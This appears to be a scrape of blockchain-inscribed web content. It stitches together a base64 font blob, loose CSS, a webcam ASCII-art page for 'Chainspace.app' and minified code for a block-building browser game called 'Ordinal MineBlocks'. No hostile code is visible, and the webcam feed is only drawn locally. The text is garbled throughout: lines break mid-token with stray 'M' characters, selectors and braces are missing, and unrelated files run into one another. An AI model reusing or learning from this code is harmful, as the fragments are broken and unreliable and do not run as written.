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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #121013;
    font-size: 12px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#EB596E", "#FFE227", "#FFE227", "#4D375D", "#121013", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 : 4M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = stream;
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.classNaM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
      gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e) => M?
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
